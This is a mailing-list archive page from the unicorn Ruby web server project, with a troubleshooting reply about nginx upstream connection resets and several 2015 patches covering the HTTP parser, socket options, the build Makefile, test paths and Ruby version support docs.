> We have an nginx 1.6.2 proxy in front of a Unicorn 4.8.3 server that
> is frequently reporting the following error:
>
> 2015/03/24 01:46:01 [error] 11217#0: *872231 readv() failed (104:
> Connection reset by peer) while reading upstream
>
> The interesting things are:
>
> 1) The upstream is a Unix domain socket (to which Unicorn is bound)
> 2) Unicorn isn't reporting that a child died in the error log (and I
> verified their lifetimes with ps(1))
>
> Any hints as to what we should look for?
What changed recently with your setup?
Which OS/kernel version + vendor version?
Since you've been around a while, I take it this is only a recent issue?
Can you setup a test instance on a different nginx port/unicorn socket
and with a config.ru such as:
------------------------- 8< ----------------------
run(lambda do |env|
$stderr.write("#$$ starting at #{Time.now}\n")
# be sure to configure your unicorn timeout
sleep
# should not return, wait for unicorn to kill
end)
----------------------------------------------------
And hitting nginx with a single test request to reproduce the issue.
And see if it happens on the same/different hosts where you notice the
problem.
^ permalink raw reply [relevance 3%]
* [RFC] http: remove experimental dechunk! method
@ 2015-03-02 20:34 11% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-03-02 20:34 UTC (permalink / raw)
To: unicorn-public
It was never used anywhere AFAIK and wastes precious bytes.
---
RFC since this didn't go through a deprecation period, but it's
never been documented or heavily publicized (but that goes for
this entire project :P)
ext/unicorn_http/unicorn_http.rl | 29 ---------------------------
test/unit/test_http_parser_ng.rb | 43 ----------------------------------------
2 files changed, 72 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 03b4726..4254540 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -590,34 +590,6 @@ static VALUE HttpParser_clear(VALUE self)
return self;
}
-/**
- * call-seq:
- * parser.dechunk! => parser
- *
- * Resets the parser to a state suitable for dechunking response bodies
- *
- */
-static VALUE HttpParser_dechunk_bang(VALUE self)
-{
- struct http_parser *hp = data_get(self);
-
- http_parser_init(hp);
-
- /*
- * we don't care about trailers in dechunk-only mode,
- * but if we did we'd set UH_FL_HASTRAILER and clear hp->env
- */
- if (0) {
- rb_funcall(hp->env, id_clear, 0);
- hp->flags = UH_FL_HASTRAILER;
- }
-
- hp->flags |= UH_FL_HASBODY | UH_FL_INBODY | UH_FL_CHUNKED;
- hp->cs = http_parser_en_ChunkedBody;
-
- return self;
-}
-
static void advance_str(VALUE str, off_t nr)
{
long len = RSTRING_LEN(str);
@@ -918,7 +890,6 @@ void Init_unicorn_http(void)
rb_define_alloc_func(cHttpParser, HttpParser_alloc);
rb_define_method(cHttpParser, "initialize", HttpParser_init, 0);
rb_define_method(cHttpParser, "clear", HttpParser_clear, 0);
- rb_define_method(cHttpParser, "dechunk!", HttpParser_dechunk_bang, 0);
rb_define_method(cHttpParser, "parse", HttpParser_parse, 0);
rb_define_method(cHttpParser, "add_parse", HttpParser_add_parse, 1);
rb_define_method(cHttpParser, "headers", HttpParser_headers, 2);
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index 0c81072..efd82e1 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -619,47 +619,4 @@ class HttpParserNgTest < Test::Unit::TestCase
assert_equal expect, env2
assert_equal "", @parser.buf
end
-
- def test_chunk_only
- tmp = ""
- assert_equal @parser, @parser.dechunk!
- assert_nil @parser.filter_body(tmp, "6\r\n")
- assert_equal "", tmp
- assert_nil @parser.filter_body(tmp, "abcdef")
- assert_equal "abcdef", tmp
- assert_nil @parser.filter_body(tmp, "\r\n")
- assert_equal "", tmp
- src = "0\r\n\r\n"
- assert_equal src.object_id, @parser.filter_body(tmp, src).object_id
- assert_equal "", tmp
- end
-
- def test_chunk_only_bad_align
- tmp = ""
- assert_equal @parser, @parser.dechunk!
- assert_nil @parser.filter_body(tmp, "6\r\na")
- assert_equal "a", tmp
- assert_nil @parser.filter_body(tmp, "bcde")
- assert_equal "bcde", tmp
- assert_nil @parser.filter_body(tmp, "f\r")
- assert_equal "f", tmp
- src = "\n0\r\n\r\n"
- assert_equal src.object_id, @parser.filter_body(tmp, src).object_id
- assert_equal "", tmp
- end
-
- def test_chunk_only_reset_ok
- tmp = ""
- assert_equal @parser, @parser.dechunk!
- src = "1\r\na\r\n0\r\n\r\n"
- assert_nil @parser.filter_body(tmp, src)
- assert_equal "a", tmp
- assert_equal src.object_id, @parser.filter_body(tmp, src).object_id
-
- assert_equal @parser, @parser.dechunk!
- src = "0\r\n\r\n"
- assert_equal src.object_id, @parser.filter_body(tmp, src).object_id
- assert_equal "", tmp
- assert_equal src, @parser.filter_body(tmp, src)
- end
end
--
EW
^ permalink raw reply related [relevance 11%]
* [PATCH] test_socket_helper: do not depend on SO_REUSEPORT
@ 2015-02-06 22:34 14% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-06 22:34 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Older Rubies (2.0) may not define SO_REUSEPORT even if the
kernel and libc support it
---
test/unit/test_socket_helper.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 8b09198..7526e82 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -193,5 +193,5 @@ class TestSocketHelper < Test::Unit::TestCase
assert_operator cur, :>, 0
rescue Errno::ENOPROTOOPT
# kernel does not support SO_REUSEPORT (older Linux)
- end
+ end if defined?(Socket::SO_REUSEPORT)
end
--
EW
^ permalink raw reply related [relevance 14%]
* [PATCH] fix uninstalled testing and reduce require paths
@ 2015-02-06 22:17 37% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-06 22:17 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
This fixes a bug introduced in
commit fe83ead4eae6f011fa15f506cd80cb4256813a92
(GNUmakefile: fix clean gem build + reduce build cruft)
which broke clean Ruby installations without an existing
unicorn gem installed :x
---
GNUmakefile | 10 +++++++---
test/exec/test_exec.rb | 2 +-
test/unit/test_http_parser.rb | 2 +-
test/unit/test_http_parser_ng.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_response.rb | 2 +-
test/unit/test_server.rb | 2 +-
test/unit/test_signals.rb | 2 +-
test/unit/test_socket_helper.rb | 2 +-
test/unit/test_upload.rb | 2 +-
test/unit/test_util.rb | 2 +-
11 files changed, 17 insertions(+), 13 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 8bd63ee..2995a6b 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -59,13 +59,17 @@ $(ext)/unicorn_http.$(DLEXT): $(ext)/Makefile
$(MAKE) -C $(@D)
http: $(ext)/unicorn_http.$(DLEXT)
+# only used for tests
+http-install: $(ext)/unicorn_http.$(DLEXT)
+ install -m644 $< lib/
+
test-install: $(test_prefix)/.stamp
$(test_prefix)/.stamp: $(inst_deps)
mkdir -p $(test_prefix)/.ccache
tar cf - $(inst_deps) GIT-VERSION-GEN | \
(cd $(test_prefix) && tar xf -)
$(MAKE) -C $(test_prefix) clean
- $(MAKE) -C $(test_prefix) http shebang RUBY="$(RUBY)"
+ $(MAKE) -C $(test_prefix) http-install shebang RUBY="$(RUBY)"
> $@
# this is only intended to be run within $(test_prefix)
@@ -119,14 +123,14 @@ run_test = $(quiet_pre) \
%.n: arg = $(subst .n,,$(subst --, -n ,$@))
%.n: t = $(subst .n,$(log_suffix),$@)
%.n: export PATH := $(test_prefix)/bin:$(PATH)
-%.n: export RUBYLIB := $(test_prefix):$(test_prefix)/lib:$(MYLIBS)
+%.n: export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
%.n: $(test_prefix)/.stamp
$(run_test)
$(T): arg = $@
$(T): t = $(subst .rb,$(log_suffix),$@)
$(T): export PATH := $(test_prefix)/bin:$(PATH)
-$(T): export RUBYLIB := $(test_prefix):$(test_prefix)/lib:$(MYLIBS)
+$(T): export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
$(T): $(test_prefix)/.stamp
$(run_test)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 10a1bae..6deb96b 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2009 Eric Wong
FLOCK_PATH = File.expand_path(__FILE__)
-require 'test/test_helper'
+require './test/test_helper'
do_test = true
$unicorn_bin = ENV['UNICORN_TEST_BIN'] || "unicorn"
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 2251dcf..431ede5 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -7,7 +7,7 @@
# Additional work donated by contributors. See git history
# for more information.
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index d5c8d2e..0c81072 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/test_helper'
+require './test/test_helper'
require 'digest/md5'
include Unicorn
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index fbda1a2..f0ccaf7 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -4,7 +4,7 @@
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
# the GPLv2+ (GPLv3+ preferred)
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index bdca9f5..d0f0c79 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -7,7 +7,7 @@
# Additional work donated by contributors. See git history
# for more information.
-require 'test/test_helper'
+require './test/test_helper'
require 'time'
include Unicorn
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 9c92bab..8b3afad 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -7,7 +7,7 @@
# Additional work donated by contributors. See git history
# for more information.
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 443c736..4592819 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -6,7 +6,7 @@
#
# Ensure we stay sane in the face of signals being sent to us
-require 'test/test_helper'
+require './test/test_helper'
include Unicorn
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 994b990..8b09198 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/test_helper'
+require './test/test_helper'
require 'tempfile'
class TestSocketHelper < Test::Unit::TestCase
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
index bcce4bc..5de02e4 100644
--- a/test/unit/test_upload.rb
+++ b/test/unit/test_upload.rb
@@ -1,7 +1,7 @@
# -*- encoding: binary -*-
# Copyright (c) 2009 Eric Wong
-require 'test/test_helper'
+require './test/test_helper'
require 'digest/md5'
include Unicorn
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 904d51c..4d17a16 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/test_helper'
+require './test/test_helper'
require 'tempfile'
class TestUtil < Test::Unit::TestCase
--
EW
^ permalink raw reply related [relevance 37%]
* [PATCH] doc: update support status for Ruby versions
@ 2015-02-06 20:15 13% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-06 20:15 UTC (permalink / raw)
To: unicorn-public
unicorn 5 will not support Ruby 1.8 anymore.
Drop mentions of Rubinius, too, it's too difficult to support due to
the proprietary and registration-required nature of its bug tracker.
The smaller memory footprint and CoW-friendly memory allocator in
mainline Ruby is a better fit for unicorn, anyways.
Since Ruby 1.9+ bundles RubyGems and gem startup is faster nowadays,
we'll just depend on that instead of not loading RubyGems.
Drop the local.mk.sample file, too, since it's way out-of-date
and probably isn't useful (I have not used it in a while).
---
HACKING | 23 +++-------------
KNOWN_ISSUES | 20 +++++++-------
README | 3 ++-
Sandbox | 2 +-
lib/unicorn/configurator.rb | 2 --
lib/unicorn/http_server.rb | 4 +--
local.mk.sample | 59 -----------------------------------------
t/README | 2 +-
test/unit/test_socket_helper.rb | 4 +--
9 files changed, 22 insertions(+), 97 deletions(-)
delete mode 100644 local.mk.sample
diff --git a/HACKING b/HACKING
index 9b4da1b..6c5f897 100644
--- a/HACKING
+++ b/HACKING
@@ -19,13 +19,6 @@ RubyGems.
Users of GNU-based systems (such as GNU/Linux) usually have GNU make
installed as "make" instead of "gmake".
-Since we don't load RubyGems by default, loading Rack properly requires
-setting up RUBYLIB to point to where Rack is located. Not loading
-RubyGems drastically lowers the time to run the full test suite. You
-may setup a "local.mk" file in the top-level working directory to setup
-your RUBYLIB and any other environment variables. A "local.mk.sample"
-file is provided for reference.
-
Running the entire test suite with 4 tests in parallel:
gmake -j4 check
@@ -70,10 +63,9 @@ becomes unavailable.
=== Ruby/C Compatibility
-We target Ruby 1.8.6+, 1.9 and will target Rubinius as it becomes
-production-ready. We need the Ruby implementation to support fork,
-exec, pipe, UNIX signals, access to integer file descriptors and
-ability to use unlinked files.
+We target mainline Ruby 1.9.3 and later. We need the Ruby
+implementation to support fork, exec, pipe, UNIX signals, access to
+integer file descriptors and ability to use unlinked files.
All of our C code is OS-independent and should run on compilers
supported by the versions of Ruby we target.
@@ -123,13 +115,6 @@ You can build the Unicorn gem with the following command:
It is easy to install the contents of your git working directory:
-Via RubyGems (RubyGems 1.3.5+ recommended for prerelease versions):
+Via RubyGems
gmake install-gem
-
-Without RubyGems (via setup.rb):
-
- gmake install
-
-It is not at all recommended to mix a RubyGems installation with an
-installation done without RubyGems, however.
diff --git a/KNOWN_ISSUES b/KNOWN_ISSUES
index 38263e7..69e4f57 100644
--- a/KNOWN_ISSUES
+++ b/KNOWN_ISSUES
@@ -17,16 +17,6 @@ acceptable solution. Those issues are documented here.
have builtin workarounds for Kernel#rand and OpenSSL::Random users,
but applications may use other PRNGs.
-* Under some versions of Ruby 1.8, it is necessary to call +srand+ in an
- after_fork hook to get correct random number generation. We have a builtin
- workaround for this starting with \Unicorn 3.6.1
-
- See http://redmine.ruby-lang.org/issues/show/4338
-
-* On Ruby 1.8 prior to Ruby 1.8.7-p248, *BSD platforms have a broken
- stdio that causes failure for file uploads larger than 112K. Upgrade
- your version of Ruby or continue using Unicorn 1.x/3.4.x.
-
* For notes on sandboxing tools such as Bundler or Isolate,
see the {Sandbox}[link:Sandbox.html] page.
@@ -44,6 +34,16 @@ acceptable solution. Those issues are documented here.
== Known Issues (Old)
+* Under some versions of Ruby 1.8, it is necessary to call +srand+ in an
+ after_fork hook to get correct random number generation. We have a builtin
+ workaround for this starting with \Unicorn 3.6.1
+
+ See http://redmine.ruby-lang.org/issues/show/4338
+
+* On Ruby 1.8 prior to Ruby 1.8.7-p248, *BSD platforms have a broken
+ stdio that causes failure for file uploads larger than 112K. Upgrade
+ your version of Ruby or continue using Unicorn 1.x/3.4.x.
+
* Under Ruby 1.9.1, methods like Array#shuffle and Array#sample will
segfault if called after forking. Upgrade to Ruby 1.9.2 or call
"Kernel.rand" in your after_fork hook to reinitialize the random
diff --git a/README b/README
index 02d01e1..f084d0c 100644
--- a/README
+++ b/README
@@ -12,7 +12,8 @@ both the the request and response in between \Unicorn and slow clients.
cut out everything that is better supported by the operating system,
{nginx}[http://nginx.net/] or {Rack}[http://rack.github.io/].
-* Compatible with Ruby 1.8 and later. Rubinius support is in-progress.
+* Compatible with Ruby 1.9.3 and later.
+ unicorn 4.8.x will remain supported for Ruby 1.8 users.
* Process management: \Unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
diff --git a/Sandbox b/Sandbox
index 3c7f226..f662b27 100644
--- a/Sandbox
+++ b/Sandbox
@@ -86,7 +86,7 @@ For now workarounds include doing one of the following:
3. Explicitly setting RUBYLIB or $LOAD_PATH to include any gem path
where the unicorn gem is installed
- (e.g. /usr/lib/ruby/gems/1.9.1/gems/unicorn-VERSION/lib)
+ (e.g. /usr/lib/ruby/gems/1.9.3/gems/unicorn-VERSION/lib)
=== RUBYOPT pollution from SIGUSR2 upgrades
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index d14e608..69b4644 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -306,8 +306,6 @@ class Unicorn::Configurator
# to receive IPv4 queries on dual-stack systems. A separate IPv4-only
# listener is required if this is true.
#
- # This option is only available for Ruby 1.9.2 and later.
- #
# Enabling this option for the IPv6-only listener and having a
# separate IPv4 listener is recommended if you wish to support IPv6
# on the same TCP port. Otherwise, the value of \env[\"REMOTE_ADDR\"]
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 95a8ffe..895f56d 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -67,7 +67,7 @@ class Unicorn::HttpServer
# you can set the following in your Unicorn config file, HUP and then
# continue with the traditional USR2 + QUIT upgrade steps:
#
- # Unicorn::HttpServer::START_CTX[0] = "/home/bofh/1.9.2/bin/unicorn"
+ # Unicorn::HttpServer::START_CTX[0] = "/home/bofh/2.2.0/bin/unicorn"
START_CTX = {
:argv => ARGV.map { |arg| arg.dup },
0 => $0.dup,
@@ -453,7 +453,7 @@ class Unicorn::HttpServer
# exec(command, hash) works in at least 1.9.1+, but will only be
# required in 1.9.4/2.0.0 at earliest.
- cmd << listener_fds if RUBY_VERSION >= "1.9.1"
+ cmd << listener_fds
logger.info "executing #{cmd.inspect} (in #{Dir.pwd})"
before_exec.call(self)
exec(*cmd)
diff --git a/local.mk.sample b/local.mk.sample
deleted file mode 100644
index 25bca5d..0000000
diff --git a/t/README b/t/README
index 095f106..bcaf3ce 100644
--- a/t/README
+++ b/t/README
@@ -10,7 +10,7 @@ comfortable writing integration tests with.
== Requirements
-* {Ruby 1.8 or 1.9}[http://www.ruby-lang.org/] (duh!)
+* {Ruby 1.9.3+}[https://www.ruby-lang.org/] (duh!)
* {GNU make}[http://www.gnu.org/software/make/]
* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[http://curl.haxx.se/]
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index dd6881c..994b990 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -182,8 +182,8 @@ class TestSocketHelper < Test::Unit::TestCase
sock = bind_listen "[#@test6_addr]:#{port}", :ipv6only => true
cur = sock.getsockopt(:IPPROTO_IPV6, :IPV6_V6ONLY).unpack('i')[0]
assert_equal 1, cur
- rescue Errno::EAFNOSUPPORT
- end if RUBY_VERSION >= "1.9.2"
+ rescue Errno::EAFNOSUPPORT
+ end
def test_reuseport
port = unused_port @test_addr
--
EW
^ permalink raw reply related [relevance 13%]
* [PATCH] socket_helper: reduce constant lookups and caching
@ 2015-02-05 17:19 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-05 17:19 UTC (permalink / raw)
To: unicorn-public
In Ruby 1.9.2+, socket options may be specified using symbols
instead of constants to avoid the need to import Socket::Constants
into the namespace. This also has a nice side-effect of reducing
the size of the bytecode by trading 3 instructions (getinlinecache,
getconstant, setinlinecache) for one "putobject" instruction.
Nowadays, we may also avoid defining OS-specific constants ourselves
since 1.9+ versions of Ruby already provide them to further reduce
bytecode size.
getsockopt also returns Socket::Option objects in 1.9.2+,
allowing us to avoid the larger "unpack('i')" method dispatch
for an operand-free "int" method call.
Finally, favor Object#nil? calls rather than "== nil" comparisons
to reduce bytecode size even more.
Since this code is only called at startup time, it does not benefit
from inline caching of constant lookups in current mainline Ruby.
Combined, these changes reduce YARV bytecode size by around 2K on a
64-bit system.
---
lib/unicorn/socket_helper.rb | 78 +++++++++++++++--------------------------
test/unit/test_socket_helper.rb | 2 +-
2 files changed, 29 insertions(+), 51 deletions(-)
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 820b778..2ecf438 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -4,8 +4,6 @@ require 'socket'
module Unicorn
module SocketHelper
- # :stopdoc:
- include Socket::Constants
# prevents IO objects in here from being GC-ed
# kill this when we drop 1.8 support
@@ -32,33 +30,11 @@ module Unicorn
:tcp_nopush => nil,
:tcp_nodelay => true,
}
- #:startdoc:
# configure platform-specific options (only tested on Linux 2.6 so far)
- case RUBY_PLATFORM
- when /linux/
- # from /usr/include/linux/tcp.h
- TCP_DEFER_ACCEPT = 9 unless defined?(TCP_DEFER_ACCEPT)
-
- # do not send out partial frames (Linux)
- TCP_CORK = 3 unless defined?(TCP_CORK)
-
- # Linux got SO_REUSEPORT in 3.9, BSDs have had it for ages
- unless defined?(SO_REUSEPORT)
- if RUBY_PLATFORM =~ /(?:alpha|mips|parisc|sparc)/
- SO_REUSEPORT = 0x0200 # untested
- else
- SO_REUSEPORT = 15 # only tested on x86_64 and i686
- end
- end
- when /freebsd/
- # do not send out partial frames (FreeBSD)
- TCP_NOPUSH = 4 unless defined?(TCP_NOPUSH)
-
- def accf_arg(af_name)
- [ af_name, nil ].pack('a16a240')
- end if defined?(SO_ACCEPTFILTER)
- end
+ def accf_arg(af_name)
+ [ af_name, nil ].pack('a16a240')
+ end if RUBY_PLATFORM =~ /freebsd/ && Socket.const_defined?(:SO_ACCEPTFILTER)
def prevent_autoclose(io)
if io.respond_to?(:autoclose=)
@@ -71,37 +47,38 @@ module Unicorn
def set_tcp_sockopt(sock, opt)
# just in case, even LANs can break sometimes. Linux sysadmins
# can lower net.ipv4.tcp_keepalive_* sysctl knobs to very low values.
- sock.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1) if defined?(SO_KEEPALIVE)
+ Socket.const_defined?(:SO_KEEPALIVE) and
+ sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 1)
- if defined?(TCP_NODELAY)
+ if Socket.const_defined?(:TCP_NODELAY)
val = opt[:tcp_nodelay]
- val = DEFAULTS[:tcp_nodelay] if nil == val
- sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, val ? 1 : 0)
+ val = DEFAULTS[:tcp_nodelay] if val.nil?
+ sock.setsockopt(:IPPROTO_TCP, :TCP_NODELAY, val ? 1 : 0)
end
val = opt[:tcp_nopush]
unless val.nil?
- if defined?(TCP_CORK) # Linux
- sock.setsockopt(IPPROTO_TCP, TCP_CORK, val)
- elsif defined?(TCP_NOPUSH) # TCP_NOPUSH is lightly tested (FreeBSD)
- sock.setsockopt(IPPROTO_TCP, TCP_NOPUSH, val)
+ if Socket.const_defined?(:TCP_CORK) # Linux
+ sock.setsockopt(:IPPROTO_TCP, :TCP_CORK, val)
+ elsif Socket.const_defined?(:TCP_NOPUSH) # FreeBSD
+ sock.setsockopt(:IPPROTO_TCP, :TCP_NOPUSH, val)
end
end
# No good reason to ever have deferred accepts off
# (except maybe benchmarking)
- if defined?(TCP_DEFER_ACCEPT)
+ if Socket.const_defined?(:TCP_DEFER_ACCEPT)
# this differs from nginx, since nginx doesn't allow us to
# configure the the timeout...
seconds = opt[:tcp_defer_accept]
seconds = DEFAULTS[:tcp_defer_accept] if [true,nil].include?(seconds)
seconds = 0 unless seconds # nil/false means disable this
- sock.setsockopt(SOL_TCP, TCP_DEFER_ACCEPT, seconds)
+ sock.setsockopt(:IPPROTO_TCP, :TCP_DEFER_ACCEPT, seconds)
elsif respond_to?(:accf_arg)
name = opt[:accept_filter]
- name = DEFAULTS[:accept_filter] if nil == name
+ name = DEFAULTS[:accept_filter] if name.nil?
begin
- sock.setsockopt(SOL_SOCKET, SO_ACCEPTFILTER, accf_arg(name))
+ sock.setsockopt(:SOL_SOCKET, :SO_ACCEPTFILTER, accf_arg(name))
rescue => e
logger.error("#{sock_name(sock)} " \
"failed to set accept_filter=#{name} (#{e.inspect})")
@@ -114,10 +91,11 @@ module Unicorn
TCPSocket === sock and set_tcp_sockopt(sock, opt)
- if opt[:rcvbuf] || opt[:sndbuf]
+ rcvbuf, sndbuf = opt.values_at(:rcvbuf, :sndbuf)
+ if rcvbuf || sndbuf
log_buffer_sizes(sock, "before: ")
- sock.setsockopt(SOL_SOCKET, SO_RCVBUF, opt[:rcvbuf]) if opt[:rcvbuf]
- sock.setsockopt(SOL_SOCKET, SO_SNDBUF, opt[:sndbuf]) if opt[:sndbuf]
+ sock.setsockopt(:SOL_SOCKET, :SO_RCVBUF, rcvbuf) if rcvbuf
+ sock.setsockopt(:SOL_SOCKET, :SO_SNDBUF, sndbuf) if sndbuf
log_buffer_sizes(sock, " after: ")
end
sock.listen(opt[:backlog])
@@ -126,8 +104,8 @@ module Unicorn
end
def log_buffer_sizes(sock, pfx = '')
- rcvbuf = sock.getsockopt(SOL_SOCKET, SO_RCVBUF).unpack('i')
- sndbuf = sock.getsockopt(SOL_SOCKET, SO_SNDBUF).unpack('i')
+ rcvbuf = sock.getsockopt(:SOL_SOCKET, :SO_RCVBUF).int
+ sndbuf = sock.getsockopt(:SOL_SOCKET, :SO_SNDBUF).int
logger.info "#{pfx}#{sock_name(sock)} rcvbuf=#{rcvbuf} sndbuf=#{sndbuf}"
end
@@ -172,15 +150,15 @@ module Unicorn
def new_tcp_server(addr, port, opt)
# n.b. we set FD_CLOEXEC in the workers
- sock = Socket.new(opt[:ipv6] ? AF_INET6 : AF_INET, SOCK_STREAM, 0)
+ sock = Socket.new(opt[:ipv6] ? :AF_INET6 : :AF_INET, :SOCK_STREAM)
if opt.key?(:ipv6only)
- defined?(IPV6_V6ONLY) or
+ Socket.const_defined?(:IPV6_V6ONLY) or
abort "Socket::IPV6_V6ONLY not defined, upgrade Ruby and/or your OS"
- sock.setsockopt(IPPROTO_IPV6, IPV6_V6ONLY, opt[:ipv6only] ? 1 : 0)
+ sock.setsockopt(:IPPROTO_IPV6, :IPV6_V6ONLY, opt[:ipv6only] ? 1 : 0)
end
- sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
- if defined?(SO_REUSEPORT) && opt[:reuseport]
- sock.setsockopt(SOL_SOCKET, SO_REUSEPORT, 1)
+ sock.setsockopt(:SOL_SOCKET, :SO_REUSEADDR, 1)
+ if Socket.const_defined?(:SO_REUSEPORT) && opt[:reuseport]
+ sock.setsockopt(:SOL_SOCKET, :SO_REUSEPORT, 1)
end
sock.bind(Socket.pack_sockaddr_in(port, addr))
prevent_autoclose(sock)
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 8992757..dd6881c 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -189,7 +189,7 @@ class TestSocketHelper < Test::Unit::TestCase
port = unused_port @test_addr
name = "#@test_addr:#{port}"
sock = bind_listen(name, :reuseport => true)
- cur = sock.getsockopt(Socket::SOL_SOCKET, SO_REUSEPORT).unpack('i')[0]
+ cur = sock.getsockopt(:SOL_SOCKET, :SO_REUSEPORT).int
assert_operator cur, :>, 0
rescue Errno::ENOPROTOOPT
# kernel does not support SO_REUSEPORT (older Linux)
--
EW
^ permalink raw reply related [relevance 8%]
* [PATCH] GNUmakefile: fix clean gem build + reduce build cruft
@ 2015-02-04 20:16 13% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-04 20:16 UTC (permalink / raw)
To: unicorn-public
Ensure we have a NEWS file for building the gem beforehand.
We don't need to polute lib/ with object files, either.
---
GNUmakefile | 14 +++++++-------
1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 4c40dc9..8bd63ee 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -57,10 +57,7 @@ $(ext)/Makefile: $(ext)/extconf.rb $(c_files)
cd $(@D) && $(RUBY) extconf.rb
$(ext)/unicorn_http.$(DLEXT): $(ext)/Makefile
$(MAKE) -C $(@D)
-lib/unicorn_http.$(DLEXT): $(ext)/unicorn_http.$(DLEXT)
- @mkdir -p lib
- install -m644 $< $@
-http: lib/unicorn_http.$(DLEXT)
+http: $(ext)/unicorn_http.$(DLEXT)
test-install: $(test_prefix)/.stamp
$(test_prefix)/.stamp: $(inst_deps)
@@ -85,6 +82,7 @@ test-unit: $(wildcard test/unit/test_*.rb)
$(slow_tests): $(test_prefix)/.stamp
@$(MAKE) $(shell $(awk_slow) $@)
+# ensure we can require just the HTTP parser without the rest of unicorn
test-require: $(ext)/unicorn_http.$(DLEXT)
$(RUBY) --disable-gems -I$(ext) -runicorn_http -e Unicorn
@@ -134,7 +132,6 @@ $(T): $(test_prefix)/.stamp
install: $(bins) $(ext)/unicorn_http.c
$(prep_setup_rb)
- $(RM) lib/unicorn_http.$(DLEXT)
$(RM) -r .install-tmp
mkdir .install-tmp
cp -p bin/* .install-tmp
@@ -150,7 +147,7 @@ prep_setup_rb := @-$(RM) $(setup_rb_files);$(MAKE) -C $(ext) clean
clean:
-$(MAKE) -C $(ext) clean
-$(MAKE) -C Documentation clean
- $(RM) $(ext)/Makefile lib/unicorn_http.$(DLEXT)
+ $(RM) $(ext)/Makefile
$(RM) $(setup_rb_files) $(t_log)
$(RM) -r $(test_prefix) man
@@ -160,7 +157,10 @@ man html:
pkg_extra := GIT-VERSION-FILE lib/unicorn/version.rb LATEST NEWS \
$(ext)/unicorn_http.c $(man1_paths)
-.manifest: $(ext)/unicorn_http.c man
+NEWS:
+ $(OLDDOC) prepare
+
+.manifest: $(ext)/unicorn_http.c man NEWS
